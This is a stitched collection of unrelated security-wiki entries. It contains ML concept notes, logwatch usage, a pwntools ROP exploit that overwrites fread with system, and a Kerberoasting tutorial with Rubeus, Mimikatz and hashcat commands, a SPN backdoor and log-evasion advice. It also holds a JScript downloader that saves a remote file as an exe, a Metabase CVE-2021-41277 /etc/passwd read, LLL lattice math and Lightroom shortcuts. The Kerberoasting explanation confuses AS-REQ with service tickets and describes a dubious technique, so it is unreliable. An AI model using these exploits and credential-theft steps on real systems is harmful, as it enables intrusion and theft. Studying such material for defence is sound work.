dump_model_object(file_mode, l_regress)
file_vector = "../../model/model-0x3/vector.pl"
dump_model_object(file_vector, url_vectorizer_save)
```
## 概念补充
### 逻辑回归
逻辑回归模型通过逻辑函数对数据进行**分类**,通常包括用于估计逻辑模型结果的独立二元变量。相比于线性回归,逻辑回归处理的分类问题,输出的结果为离散值;而线性回归解决的是回归问题输出的是连续值。
详细解读可以参考文章[1],注意,虽然该算法在用起来时显得非常简单,但是其原理中的细节部分还是很多的,感兴趣可以仔细研究一下。
### 支持向量机(SVM)
支持向量机(Surport Vector Machine, SVM)同样用于分类,是一个二元分类算法,但修改后也支持多分类问题。支持向量机通过在高维空间中创建最佳超平面来实现,这个超平面创建的划分被称为类。
对于分类问题本质的理解,就是我们需要找到一个划分的超平面,让数据尽可能多地分布在这个平面的两侧,从而实现分类的效果。但在实际数据下,往往存在多个超平面,那么此时我们怎么取舍呢?就是比较容易分类错误的数据点,而这些点就是离平面很近的点,因为离平面很远的点是相差很大的,基本不会存在分类错误的情况。而SVM的核心思想就是如此,找到离平面很近的、容易分类错误的点,然后想办法让这些数据点离平面距离变远。那些离超平面很近的点也就被称为支持向量(Support Vector)。
详细的数学原理,可以参考文章[2],该算法有比较完备的数学理论支撑的,但详细的数理和推倒也相对比较复杂,因此也可以看自己需要进行学习(~~其实就是我看不懂,不献丑来推导了~~)。
## Reference
\[1]【机器学习】逻辑回归(非常详细),[阿泽](https://www.zhihu.com/people/is-aze),https://zhuanlan.zhihu.com/p/74874291
\[2] 05 SVM - 支持向量机 - 概念、线性可分,[白尔摩斯](https://www.jianshu.com/u/a9f6de37f77b),https://www.jianshu.com/p/410a56129757
|
sec-knowleage
|
logwatch
===
可定制和可插入式的日志监视系统
## 补充说明
**logwatch命令** 是一个可定制和可插入式的日志监视系统,它通过遍历给定时间范围内的系统日志文件而产生日志报告。logwatch默认每天执行一次,可以从`/etc/cron.daily`里看到。
### 语法
```shell
logwatch(选项)
```
### 选项
```shell
--detail<报告详细程度>:指定日志报告的详细程度;
--logfile<日志文件>:仅处理指定的日志文件;
--service<服务名>:仅处理指定服务的日志文件;
--print:打印结果到标准输出;
--mailto<邮件地址>:将结果发送到指定邮箱;
--range<日期范围>:指定处理日志的日期范围;
--archives:处理归档日志文件;
--debug<调试等级>:调试模式;
--save<文件名>:将结果保存到指定文件中,而不显示或者发送到指定邮箱;
--logdir<目录>:指定查找日志文件的目录,而不使用默认的日志目录;
--hostname<主机名>:指定在日志报告中使用的主机名,不使用系统默认的主机名;
--numeric:在报告中显示ip地址而不是主机名;
--help:显示指令的帮助信息。
```
### 实例
检查你的主机上是否已经存在Logwatch(Redhat默认已经安装了Logwatch,不过版本比较旧):
```shell
rpm -qa logwatch
```
如果主机上没有logwatch,则执行:
```shell
rpm -Ivh logwatch***.rpm
```
如果有老版本的logwatch,则执行:
```shell
rpm -Uvh logwatch***.rpm
```
安装完毕后,开始配置:
可以修改和添加它的logfiles、services和其他配置,但默认已经有很多脚本了,只要在1)里设置`Detail = High`就可以了。
* 可以添加新的配置到`/etc/logwatch/conf/logwatch.conf`
* 也可以修改`/usr/share/logwatch/default.conf/logwatch.conf`
`/etc/logwatch/conf/`会自动覆盖`/usr/share/logwatch/default.conf/`下的同名文件。
如果没有设置logwatch.conf也没关系,可以直接在命令行下设置。
```shell
logwatch --detail High --Service All --range All --print 基本就可以显示出所有日志的情况了
logwatch --service sshd --detail High 只看sshd的日志情况
```
|
sec-knowleage
|
from pwn import *
#r = process(["strace", "./BaseX"])
#r = process(["./BaseX"])
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
fread = libc.symbols["fread"]
system = libc.symbols["system"]
rop = ""
place = 517
def num_to_31(num):
s = ""
while num:
s += chr(ord('0') + num % 31)
num /= 31
return s[::-1]
def add(what):
global rop, place
s = num_to_31(what)
rop += s + (20 - len(s)) * "\x00"
rop += str(place<<32) + (20 - len(str(place<<32))) * "\x00"
place += 1
RDI = 0x00000000004008f3 # pop rdi ; ret
RBP = 0x0000000000400598 # pop rbp ; ret
FREAD = 0x40083d # fread(rbp-0x20, 1, 0x14, stdin); ...
RBXRBP = 0x000000000040075f # pop rbx ; pop rbp ; ret
ADD = 0x00000000004005f8 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
def add_what_where(what, where):
add(RBXRBP)
add(what)
add(where + 0x3d)
add(ADD)
print hex(fread)
print hex(system)
SAFE = 0x601050
add(0x1234)
add_what_where(2**32 + system - fread, 0x601018)
cmd = sys.argv[1]
print len(cmd)
cmd += (40 - len(cmd)) * "\x00"
for i in range(10):
add_what_where(struct.unpack("<I", cmd[4*i:4*i+4])[0], SAFE+4*i)
add(RDI)
add(SAFE)
add(0x400500)
print rop.encode("hex")
with open("rop", "wb") as f:
f.write(rop)
|
sec-knowleage
|
# Kerberoasting 攻击
## SPN简介
Windows SPN(Service Principal Name)是用于身份验证和授权的一种标识,它是一个唯一标识符,用于标识运行在网络中的服务实体(例如计算机、服务或应用程序)。在 Windows 中,SPN通常与 Kerberos 身份验证协议一起使用,以便对网络上的服务进行身份验证和授权。
在 Windows 中,SPN通常与服务账户(Service Account)相关联。服务账户是一种专用帐户,用于表示网络服务或应用程序,而不是人员。服务账户可以用来运行 Windows服务或其他自动化任务,并且可以分配必要的权限以执行这些任务。
SPN通常由管理员配置,以确保客户端可以与正确的服务实体进行身份验证和授权。当客户端向服务请求身份验证时,它会使用 SPN来查找要与之通信的服务实体,并使用该服务实体的凭据来进行身份验证。如果 SPN不正确或不存在,则可能会导致身份验证失败或安全问题。
SPN(ServicePrincipalName)唯一标识了一个服务账户,它看起来像下面这样:

**验证流程**
```Mermaid
graph TD;
A[客户端] --> B[获取目标服务的SPN];
B --> C[Kerberos请求目标服务的TGT];
C --> D[Kerberos向目标服务发送TGT+SPN];
D --> E[目标服务检查TGT是否有效];
E --> F[目标服务使用TGT验证客户端身份];
F --> G[目标服务向客户端发送服务凭据];
G --> H[客户端使用服务凭据访问目标服务];
```
**SPN类型**
在 Windows 中,SPN 的类型并不是根据服务账户的类型(机器帐户或域用户帐户)来分类的,而是根据服务的类型来分类的。根据服务的类型,SPN 可以分为三类:
1. 主机 SPN(Host SPN):主机 SPN 是指注册在计算机账户(Computer Account)下的 SPN,通常表示计算机上运行的网络服务。主机 SPN 的语法格式为 `HOST/hostname`,其中 `hostname` 表示计算机名或 IP 地址。
2. 用户 SPN(User SPN):用户 SPN 是指注册在用户账户(User Account)下的 SPN,通常表示用户自己的网络服务。用户 SPN 的语法格式为 `service-type/server-name`,其中 `service-type` 表示服务类型,`server-name` 表示服务器名或 IP 地址。
3. 基于委派的 SPN(Constrained Delegation SPN):基于委派的 SPN 是指注册在用户账户下的 SPN,但可以被授权代表用户进行服务委派。基于委派的 SPN 的语法格式和用户 SPN 相同。
> 需要注意的是,如果服务的权限为 Local System 或 Network Service,注册的 SPN 会默认绑定到计算机账户下。而如果服务的权限为一个域用户,SPN 则会绑定到该用户账户下。但这并不是 SPN 类型的决定因素,而是绑定 SPN 的对象的不同。
**SPN语法格式**
在 Windows 中,SPN(Service Principal Name)的语法格式如下:
```
[service-type]/[hostname]:[port]/[service-name]
```
其中,各部分的含义如下:
- `[service-type]`:服务类型,通常使用大写字母表示,例如 HTTP、MSSQL、LDAP、SMTP 等。
- `[hostname]`:主机名或 IP 地址,用于标识服务实体所在的计算机。
- `[port]`:端口号,标识服务实体所在计算机上的服务监听的端口号。如果服务不使用标准端口号,需要显式指定。
- `[service-name]`:服务名称,通常是服务实体的名称或别名。
下面是一些 SPN 示例:
- `HTTP/www.example.com`:表示运行在主机 `www.example.com` 上的 HTTP 服务。
- `MSSQLSvc/sqlserver.example.com:1433`:表示运行在主机 `sqlserver.example.com` 上、端口为 `1433` 的 SQL Server 服务。
- `SMTP/mail.example.com`:表示运行在主机 `mail.example.com` 上的 SMTP 服务。
> 需要注意的是,SPN 必须是唯一的,如果有多个服务实体具有相同的 SPN,将会导致身份验证和授权的问题。因此,在为服务实体配置 SPN 时,需要确保 SPN 的唯一性,并遵循正确的语法格式。
## Kerberoast攻击简介
Kerberoast攻击是一种利用Windows域控制器中Kerberos认证协议的漏洞进行攻击的技术。Kerberos是一种安全认证协议,用于在Windows域中进行身份验证。攻击者可以使用Kerberoast攻击来获取域中的服务账号密码,进而访问这些服务账号所控制的资源。
攻击者首先需要使用域账号(不需要特殊权限)通过Kerberos协议获取到目标服务账号的Kerberos TGS票据(Ticket-Granting Service ticket),然后通过离线破解技术破解这个TGS票据中的服务账号密码。一旦攻击者获取到服务账号密码,就可以使用这个密码来访问受该服务账号所保护的资源,比如数据库、文件服务器等。
## SPN设置
服务主体名称 (`SPN`) 是`Active Directory`中客户端用来唯一标识服务实例的名称。`SPN`将服务名称与计算机和用户账户相结合,形成一种服务`ID`。为了使`Kerberos`认证(一种在网络上验证客户和服务器实体的协议)发挥作用,必须为`Active Directory`中为每个服务账户注册一个`SPN`。
在这个演示中,为`mssql`设置一个`SPN`。
我们有一个域帐户`mssql`,我们将使用它作为服务帐户。我们将在一台假装是`SQL`服务器的计算机上注册它,用下面的命令来注册一个`SPN`:
```
PS C:\Users\Administrator> setspn -s MSSQLSvc/sqlserver.sectest.com sectest.com\mssql
正在检查域 DC=sectest,DC=com
为 CN=mssql,CN=Users,DC=sectest,DC=com 注册 ServicePrincipalNames
MSSQLSvc/sqlserver.sectest.com
更新的对象
```
让我们从`Active Directory`用户和计算机中验证其属性,以查看其设置是否正确。

现在,如果我们在整个域中搜索SPN,我们应该能够看到它。
```
PS C:\Users\Administrator> setspn.exe -t sectest.com -q */*
```

查看指定注册用户的SPN
```
PS C:\Users\Administrator> setspn.exe -L sectest.com\mssql
Registered ServicePrincipalNames 用于 CN=mssql,CN=Users,DC=sectest,DC=com:
MSSQLSvc/sqlserver.sectest.com
```
或者我们可以通过`LDAP`查询,在`adsisearcher`的帮助下,轻松枚举出服务账户的服务主体名称(`SPN`):
```
PS C:\Users\Administrator> ([adsisearcher]'(servicePrincipalName=*)').FindAll()
Path Properties
---- ----------
LDAP://CN=DC-1,OU=Domain Controllers,DC=sectest,DC=com {ridsetreferences, logoncount, codepage, objectcategory...}
LDAP://CN=EXCHANGE-1,CN=Computers,DC=sectest,DC=com {logoncount, codepage, objectcategory, iscriticalsystemobject...}
LDAP://CN=SQL-1,CN=Computers,DC=sectest,DC=com {logoncount, codepage, objectcategory, iscriticalsystemobject...}
LDAP://CN=WEB-1,CN=Computers,DC=sectest,DC=com {logoncount, codepage, objectcategory, iscriticalsystemobject...}
LDAP://CN=WEB-2,CN=Computers,DC=sectest,DC=com {logoncount, codepage, objectcategory, iscriticalsystemobject...}
LDAP://CN=krbtgt,CN=Users,DC=sectest,DC=com {logoncount, codepage, objectcategory, description...}
LDAP://CN=mssql,CN=Users,DC=sectest,DC=com {givenname, codepage, objectcategory, dscorepropagationdata...}
```
## SPN扫描
> SPN 扫描是指通过网络扫描发现并识别目标计算机上已注册的 SPN。
当计算机加入域时,主SPN会自动添加到域的计算机账号的`ServicePrincipalName`属性中。在安装新的服务后,SPN也会被记录在计算机账号的相应属性中。
由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描。
### 使用 SetSPN 查询
> SetSPN 是 Windows 中的一个命令行工具,可以用于管理和查询 SPN。
查看当前域内所有的SPN:
```
setspn -q */*
```

查找指定域的SPN:
```shell
setspn -T sectest.com -q */*
```

查找指定用户/主机名注册的 SPN
> ```
> setspn -L <username>/<hostname>
> ```
```
PS C:\Users\Administrator> setspn -L mssql
Registered ServicePrincipalNames 用于 CN=mssql,CN=Users,DC=sectest,DC=com:
MSSQLSvc/sqlserver.sectest.com
```
### PowerShell-AD-Recon
PowerShell-AD-Recon 是一个开源的 PowerShell 脚本,用于自动化执行一系列的活动目录渗透测试和安全审计任务。该脚本可以帮助安全专家和渗透测试人员快速、有效地识别活动目录中的安全漏洞和弱点,从而加强活动目录的安全性。
> 工具下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon
如果仅查询域内的MSSQL服务,我们可以使用工具提供的`Discover-PSMSSQLServers`脚本。

如果查询域内所有的SPN信息,我们可以使用`Discover-PSInterestingServices`脚本。
```
beacon> powershell-import D:\PowerShell-AD-Recon\Discover-PSInterestingServices
[*] Tasked beacon to import: D:\PowerShell-AD-Recon\Discover-PSInterestingServices
[+] host called home, sent: 4552 bytes
beacon> powershell Discover-PSInterestingServices
[*] Tasked beacon to run: Discover-PSInterestingServices
[+] host called home, sent: 353 bytes
[+] received output:
Domain : sub.sectest.com
ServerName : DC-2.sub.sectest.com
SPNServices : Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04;DNS;exchangeAB;ldap
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 19:22:32
OSVersion : {10.0 (14393)}
Description :
Domain : _msdcs.sectest.com
ServerName : _msdcs.sectest.com\DNSzone
SPNServices : ldap
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 19:22:32
OSVersion : {10.0 (14393)}
Description :
Domain : sectest.com
ServerName : sectest.com\krbgt
SPNServices : kadmin
OperatingSystem :
OSServicePack :
LastBootup : 1601/1/1 8:00:00
OSVersion :
Description :
Domain : sectest.com
ServerName : sql-1.sectest.com
SPNServices : WSMAN
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 22:07:25
OSVersion : {10.0 (14393)}
Description :
Domain : sectest.com
ServerName : sqlserver.sectest.com
SPNServices : MSSQLSvc
OperatingSystem :
OSServicePack :
LastBootup : 1601/1/1 8:00:00
OSVersion :
Description :
Domain : sectest.com
ServerName : web-1.sectest.com
SPNServices : WSMAN
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 20:15:09
OSVersion : {10.0 (14393)}
Description :
Domain : sub.sectest.com
ServerName : WIN-JV2UTETPBBP.sub.sectest.com
SPNServices : exchangeAB;ldap
OperatingSystem :
OSServicePack :
LastBootup : 1601/1/1 8:00:00
OSVersion :
Description :
Domain : sectest.com
ServerName : EXCHANGE-1.sectest.com
SPNServices : exchangeRFR;IMAP;SMTP;WSMAN
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 23:16:35
OSVersion : {10.0 (14393)}
Description :
Domain : sub.sectest.com
ServerName : sub.sectest.com\krbgt
SPNServices : kadmin
OperatingSystem :
OSServicePack :
LastBootup : 1601/1/1 8:00:00
OSVersion :
Description :
Domain : sectest.com
ServerName : DC-1.sectest.com
SPNServices : Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04;DNS;exchangeAB;ldap
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 18:37:02
OSVersion : {10.0 (14393)}
Description :
Domain : _msdcs.sectest.com.sub.sectest.com
ServerName : _msdcs.sectest.com.sub.sectest.com\DNSzone
SPNServices : ldap
OperatingSystem : {Windows Server 2016 Standard}
OSServicePack :
LastBootup : 2022/9/24 18:37:02
OSVersion : {10.0 (14393)}
Description :
```
### GetUserSPNs
`GetUserSPNs` 是一个开源的 PowerShell 脚本,用于枚举活动目录中已注册的用户 SPN。它的工作原理是,首先查询活动目录中的所有用户帐户,然后通过 Kerberos 协议尝试获取与该用户帐户关联的 SPN。如果成功,脚本将显示已找到的 SPN 信息,包括 SPN 的语法格式、用户账号和所在计算机名。
> 下载地址:https://github.com/nidem/kerberoast.git

### PowerView
PowerView 是一个 PowerShell 模块,可以用于自动化执行活动目录渗透测试和安全审计任务。
> 下载地址:https://github.com/PowerShellMafia/PowerSploit/
```
beacon> powershell Get-NetUser -SPN
```

### Impacket
`GetUserSPNs.py` 是 Impacket 工具集中的一个脚本,用于枚举活动目录中已注册的用户 SPN。
```
┌──(root㉿kali)-[/opt/impacket]
└─# GetUserSPNs.py sectest.com/administrator -dc-ip sectest.com
```
> 没有给`machao`用户进行远程访问权限。

## Kerberoasting 攻击原理
Kerberoasting 攻击是一种利用 Kerberos 协议漏洞的攻击方式,可以在不知道用户密码的情况下,从活动目录中枚举出可以被攻击的用户账户,获取其 Kerberos 预身份验证票据(AS-REQ),并对其进行脱机暴力破解。如果用户账户的服务主体名称(SPN)符合特定的格式,则可以直接获取到 Kerberos 服务票据(TGS),并对其进行暴力破解,从而获得用户账户的明文密码或哈希值。
Kerberoasting 攻击的过程如下:
1. 攻击者枚举活动目录中所有的用户账户,查找其中可以被攻击的账户。通常,攻击者会使用 BloodHound 等工具进行自动化枚举和查询。
2. 攻击者获取目标账户的服务主体名称(SPN),并将其提交给域控制器(DC)。
3. DC 返回一个 Kerberos 预身份验证票据(AS-REQ),其中包括加密的 TGT 和一些元数据信息。
4. 攻击者使用工具(如 Rubeus)对 AS-REQ 进行脱机暴力破解,从中获取 TGT 的哈希值。
5. 如果目标账户的 SPN 符合 Kerberoasting 漏洞的要求(即 SPN 是基于服务账户的服务,且服务不需要用户密码验证),则攻击者可以直接使用 TGS-REP 响应中的信息获取 Kerberos 服务票据(TGS)。
6. 攻击者使用工具(如 hashcat)对 TGS 进行暴力破解,从中获取用户账户的明文密码或哈希值。
攻击流程图
```mermaid
graph TD;
A[攻击者枚举目标账户] --> B[获取目标账户的 SPN];
B --> C[提交 SPN 给域控制器];
C --> D[获取 Kerberos 预身份验证票据AS-REQ];
D --> E[对 AS-REQ 进行暴力破解];
E --> F[获取 TGT 的哈希值];
F -- SPN 不符合 Kerberoasting 要求 --> G[攻击者无法获取 TGS];
F -- SPN 符合 Kerberoasting 要求 --> H[获取 Kerberos 服务票据TGS];
H --> I[对 TGS 进行暴力破解];
I --> J[获取账户的明文密码或哈希值];
```
## 请求服务票据
### 使用 Rubeus 工具
> 下载地址:https://github.com/GhostPack/Rubeus
Rubeus 的 kerberoasting 模块可以用于执行 Kerberoasting 攻击,即通过枚举活动目录中的账户和 SPN,获取 Kerberos 预身份验证票据(AS-REQ),并对其进行脱机暴力破解,从中获取用户账户的哈希值。
```
beacon> execute-assembly D:\tools\Rubeus.exe kerberoast /domain:sectest.com
```

### 使用 PowerShell 命令请求
GetUserSPNs.ps1 是一款基于 PowerShell 编写的工具,可以用于在活动目录中获取可猎取的账户的 Kerberos 服务主体名称(SPN)。它的工作原理是枚举活动目录中所有的用户账户,查找其中可以用于 Kerberoasting 攻击的账户,并获取其对应的 SPN,最后将 SPN 输出到屏幕上或保存到文件中。
请求服务票据
```powershell
powershell-import D:\GetUserSPNs.ps1
powershell Add-Type -AssemblyName System.IdentityModel
```

PowerShell 中用于创建 Kerberos 安全令牌对象的 cmdlet。该 cmdlet 可以用于在 PowerShell 中生成 Kerberos 安全令牌,从而进行 Kerberos 认证或者 Kerberoasting 攻击。
```
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.sectest.com"
```

列出服务票据
```
run klist
```

### 使用 Mimikatz 工具请求
使用 Mimikatz 请求指定 SPN 的服务票据,请求服务票据
```
beacon> mimikatz kerberos::ask /target:MSSQLSvc/sqlserver.sectest.com
```

列出服务票据
```
beacon> mimikatz kerberos::list
```

## 服务票据的导出
### 使用 Mimikatz 工具导出
```
beacon> mimikatz kerberos::list /export
```

### 使用 Invoke-Kerberoast.ps1 脚本
> 项目地址:https://github.com/EmpireProject/Empire
`Invoke-Kerberoast.ps1` 是一款基于 PowerShell 编写的 Kerberoasting 工具,可以用于在活动目录中枚举和攻击可猎取账户的 SPN,获取其对应的哈希值,并进行脱机暴力破解。
`Invoke-Kerberoast.ps1` 的工作原理是使用 PowerShell 远程连接到目标系统,然后使用 `Get-DomainUser` cmdlet 枚举活动目录中的用户账户,并筛选出可猎取的账户。然后,使用 `Invoke-Mimikatz` cmdlet 生成 Kerberos 预身份验证票据(AS-REQ),并使用哈希工具对其进行破解,从中获取账户的哈希值。
```
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -outputFormat Hashcat
```

## 服务票据的暴力破解
### 使用 tgsrepcrack.py 脚本
> 下载地址:https://github.com/nidem/kerberoast.git
`tgsrepcrack.py` 是一款 Python 编写的 Kerberoasting 工具,可以用于破解 Kerberos 预身份验证票据(AS-REQ)的哈希值,从而获取账户的明文密码或者哈希值。
> python tgsrepcrack.py <字典> <导出的服务票据>
```
┌──(root㉿kali)-[/opt/kerberoast-master]
└─# python3 tgsrepcrack.py wordlist /tmp/8-40a10000-machao@MSSQLSvc\~sqlserver.sectest.com-SECTEST.COM.kirbi
```

### 使用 Hashcat 工具
使用hashcat进行爆破哈希
```
┌──(root💀kali)-[/tmp]
└─# hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
```

## 服务票据重写和注入
服务票据重写(Service Ticket Overreaching)是一种利用 Kerberos 协议漏洞的攻击技术。它可以将一个普通的用户票据(TGT)转化成一个服务票据(TGS),并且该服务票据可以被用于访问活动目录中的服务或系统。这样,攻击者就可以使用该服务票据访问敏感资源,获取域管理员权限,或者进行其他恶意活动。
服务票据重写攻击可以分为以下几个步骤:
1. 获取普通的用户票据(TGT):攻击者需要先获取一个普通用户的 TGT,以便使用其加密会话密钥来构造服务票据。
2. 构造服务票据(TGS):攻击者需要使用 TGT 中的加密会话密钥来构造一个服务票据(TGS),并将其发送到目标系统中进行认证。
3. 认证服务票据(TGS):目标系统会对收到的服务票据进行认证,如果票据有效,则会将服务的访问权限授予攻击者。
服务票据重写攻击可以绕过 Kerberos 协议中的安全机制,从而实现对敏感资源的访问。这种攻击技术比较难以检测,因此,防范服务票据重写攻击需要注意 Kerberos 协议的安全配置,并使用防火墙和 IDS 等安全措施对网络流量进行监控和过滤。
以下是使用 `kerberoast.py` 进行服务票据重写的步骤:
1. 获取攻击者权限:在目标系统中获取管理员权限或者 Domain Admin 权限,以便进行服务票据重写攻击。
2. 枚举 SPN:使用 Rubeus、GetUserSPNs 或 BloodHound 等工具,枚举活动目录中的 SPN,并保存到一个文件中。
3. 获取 TGS:使用 `kerberoast.py` 工具,从活动目录中获取指定 SPN 的可猎取账户的 Kerberos 预身份验证票据(AS-REQ),并将其转化为服务票据(TGS),从而绕过 Kerberos 认证。例如,可以使用以下命令获取 SPN 为 MSSQLSvc/sqlserver.sectest.com 的账户的服务票据:
```
python kerberoast.py -spn MSSQLSvc/sqlserver.sectest.com
```
执行该命令后,工具会自动从活动目录中获取可猎取账户的 AS-REQ,并将其转化为服务票据(TGS),输出到屏幕上或保存到文件中。例如,可以将服务票据保存到 tgs.txt 文件中:
```
python kerberoast.py -spn MSSQLSvc/sqlserver.sectest.com > tgs.txt
```
4. 注入服务票据:使用 Mimikatz 或者其他工具,将服务票据注入到目标系统中。例如,可以使用以下命令使用 Mimikatz 将服务票据注入到当前进程中:
```
mimikatz.exe "kerberos::ptt /ticket:tgs.txt"
```
执行该命令后,服务票据会被注入到当前进程的票据缓存中,从而绕过 Kerberos 认证,获取系统或域管理员权限。
需要注意的是,服务票据重写攻击会在目标系统中生成 Kerberos TGS 票据,因此,攻击者应该尽可能地减少服务票据重写攻击的数量和频率,以避免在目标系统中留下可疑的日志和痕迹。同时,由于 Kerberos 哈希值可以在离线状态下进行暴力破解,因此,建议在生成 Kerberos TGS 票据时采用强密码,以提高破解难度,加强系统的安全性。同时,攻击者应该使用高强度的密码字典和破解工具,以提高破解哈希值的成功率。
## AES加密
> 在管理服务器上,转到**本地组策略编辑器**>**计算机配置**> **Windows 设置**>**安全设置**>**本地策略**>**安全选项**>**网络安全:配置 Kerberos 允许的加密类型**>**开启 RC4**。
>
> 在提升的命令提示符下运行`gpupdate /force`命令以确保更改已完成。
尽管双方都支持 AES 加密,但还是返回了使用 RC4(加密类型 `0x17/23`)加密的 TGS 票证。请注意,SOC 可能正在监视使用 RC4 加密的票证:

## Kerberoast后门
以管理员权限运行注册一个SPN服务
```
Set-DomainObject -Identity sectest.com\administrator -Set @{serviceprincipalname="a/b"}
Get-DomainUser -Identity sectest.com\administrator | Get-DomainSPNTicket
```

清除SPN:
```sql
Set-DomainObject -Identity sectest.com\administrator -clear serviceprincipalname
```
## Kerberoast 攻击的防范思路
1. 强制使用 AES256_HMAC 方式对 Kerberos票据进行加密
2. 增强密码策略:Kerberoast 攻击主要是基于暴力破解密码的,因此,增强密码策略可以有效降低攻击的成功率。建议采用长、复杂、随机的密码,并对密码进行定期更换和强制更新。
3. 禁用不必要的账户和服务:将不需要预身份验证的账户和服务禁用或限制,可以有效减少 Kerberoast 攻击的风险。这些账户和服务通常包括 IIS、Exchange、SQL Server、SharePoint 等。
**在进行日志审计时,可以重点关注ID为4769(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。**

|
sec-knowleage
|
windows 全版本都会默认支持 js,并且通过cscript 来调用达到下载 payload 的目的。
**靶机:**windows 2003
### 读取:
```bash
C:\test>cscript /nologo downfile.js http://192.168.1.115/robots.txt
```

### 附代码:
```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
```
### 写入:
```bash
C:\test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt
```

### 附代码:
```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;
BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");
```
>后者的话:简单,易用,轻便。
>
> Micropoor
|
sec-knowleage
|
### Lenstra–Lenstra–Lovasz的简单应用
这里我举一下 LLL paper 中给的第二个例子。给定 n 个实数 $\alpha_i,...,\alpha_n$,找到这 n 个数的有理线性逼近,即找到 n 个数 $m_i$,使得 $\sum\limits_{i=1}^{n}m_i\alpha_i$ 尽可能等于 0。 我们可以构造这样的矩阵,这里 $a_i$ 为 $\alpha_i$ 的有理逼近。
$$ A = \left[ \begin{matrix} 1 & 0 & 0 & \cdots & 0 & ca_1 \\ 0 & 1 & 0 & \cdots & 0 & c a_2 \\ 0 & 0 & 1 & \cdots & 0 & c a_3 \\\vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 &0 & \cdots & 1 & c a_n \\ \end{matrix} \right]$$
矩阵为 n*(n+1) 的,我们可以根据格求行列式的方法来求一下这个格对应的行列式。
$det(L)=\sqrt{AA^T}$
我们进一步考虑这样的矩阵
$$ A = \left[ \begin{matrix} 1 & 0 & 0 & \cdots & 0 & a_1 \\ 0 & 1 & 0 & \cdots & 0 & a_2 \\ 0 & 0 & 1 & \cdots & 0 & a_3 \\\vdots & \vdots & \vdots & \ddots & \vdots \\ 0 & 0 &0 & \cdots & 1 & a_n \\ \end{matrix} \right]$$
那么
$$ AA^T = \left[ \begin{matrix} 1+a_1^2 & a_1a_2 & a_1a_3 & \cdots & a_1a_n \\ a_2a_1 & 1+a_2^2 & a_2a_3 & \cdots & a_2a_n \\ a_3a_1 & a_3a_2 & 1+a_3^2 & \cdots & a_3a_n \\ \vdots & \vdots & \vdots & \ddots & \vdots \\ a_na_1 & a_na_2 &a_na_3 & \cdots & 1+a_n^2 \\ \end{matrix} \right]$$
进一步我们从低维到高维大概试一试(严格证明,可以考虑添加一行和一列,左上角为1),得到格的行列式为
$\sqrt{1+\sum\limits_{i=1}^n\alpha_i^2}$
那么经过 LLL 算法后,我们可以获得
$||b_1|| \leq 2^{\frac{n-1}{4}} (1+\sum\limits_{i=1}^n\alpha_i^2)^{\frac{1}{2(n+1)}}$
一般来说后一项在开 n 次方时趋向于1,因为 $a_i$ 都是常数,一般不会和 n 相关,所以
$||b_1|| \leq 2^{\frac{n-1}{4}}*k$
k 比较小。此外,$b_1$ 又是原向量的线性组合,那么
$b_1[n]=\sum\limits_{i=1}^{n}m_ic*a_i=c\sum\limits_{i=1}^{n}m_i*a_i$
显然如果 c 足够大,那么后面的求和必须足够小,才可以满足上面的约束。
|
sec-knowleage
|
# Metabase任意文件读取漏洞(CVE-2021-41277)
Metabase是一个开源的数据分析平台。在其0.40.0到0.40.4版本中,GeoJSON URL验证功能存在远程文件读取漏洞,未授权的攻击者可以利用这个漏洞读取服务器上的任意文件,包括环境变量等。
参考链接:
- <https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr>
- <https://github.com/tahtaciburak/CVE-2021-41277>
## 环境搭建
执行如下命令启动一个Metabase 0.40.4版本服务器:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:3000`可以查看到Metabase的安装引导页面,我们填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:

## 漏洞复现
只需要使用CURL即可简单地复现这个漏洞:
```
curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd
```
可见,`/etc/passwd`已经被成功读取:

|
sec-knowleage
|
---
title: Adobe Lightroom CC
date: 2022-11-23 16:23:31.702312
background: bg-[#081c32]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 251 keyboard shortcuts found in Adobe Lightroom CC
---
Keyboard Shortcuts
------------------
### Working with panels {.row-span-2}
Shortcut | Action
---|---
`Tab` | Show/hide side panels
`Shift` `Tab` | Show/hide all panels
`T` | Show/hide toolbar
`F5` | Show/hide Module Picker
`F6` | Show/hide Filmstrip
`F7` | Show/hide left panels
`F8` | Show/hide right panels
`Alt` `(click a panel)` | Toggle solo mode
`Shift` `(click a panel)` | Open a new panel without closing soloed panel
`Ctrl` `(click a panel)` | Open/close all panels
